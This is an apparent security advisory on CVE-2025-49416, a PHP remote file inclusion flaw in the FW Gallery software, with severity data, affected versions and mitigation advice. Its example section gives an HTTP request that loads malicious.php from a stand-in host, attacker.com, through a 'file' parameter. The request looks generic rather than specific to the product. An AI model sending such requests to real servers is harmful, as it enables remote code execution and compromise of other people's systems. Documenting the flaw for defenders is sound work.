Overview
The CVE-2025-49416, a critical vulnerability, has been identified in Fastw3b LLC’s FW Gallery, a popular digital media management software. The weakness arises from an improper control of filename for Include/Require Statement in the PHP program, also known as ‘PHP Remote File Inclusion’. This vulnerability, left unpatched, could potentially lead to a system compromise or data leakage. Given the widespread use of FW Gallery in hosting and managing digital media, this vulnerability’s impact is significant and warrants immediate attention from administrators and developers.
Vulnerability Summary
CVE ID: CVE-2025-49416
Severity: High, CVSS score of 8.1
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
Fastw3b LLC FW Gallery | Through 8.0.0
How the Exploit Works
The vulnerability stems from improper control of a filename that is used in a PHP ‘include’ or ‘require’ statement. An attacker can manipulate the filename to include a file from a remote server, thus leading to PHP Remote File Inclusion. This allows the attacker to execute arbitrary PHP code on the targeted system. The attacker can then leverage this to compromise the system or exfiltrate data.
Conceptual Example Code
A conceptual representation of how the vulnerability might be exploited is shown below:
GET /index.php?file=http://attacker.com/malicious.php HTTP/1.1
Host: target.example.comIn this example, the attacker has manipulated the ‘file’ query parameter in the URL to include a PHP file (`malicious.php`) from their own server (`attacker.com`). When this request is processed by the server, the PHP code in `malicious.php` is executed, compromising the system.
Mitigation Measures
Affected users should apply the vendor patch as soon as it is available. As temporary mitigation, a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can be used to prevent exploitation of the vulnerability. These systems should be configured to block requests where the ‘file’ parameter includes a remote URL. Additionally, administrators should monitor system logs for any suspicious activity.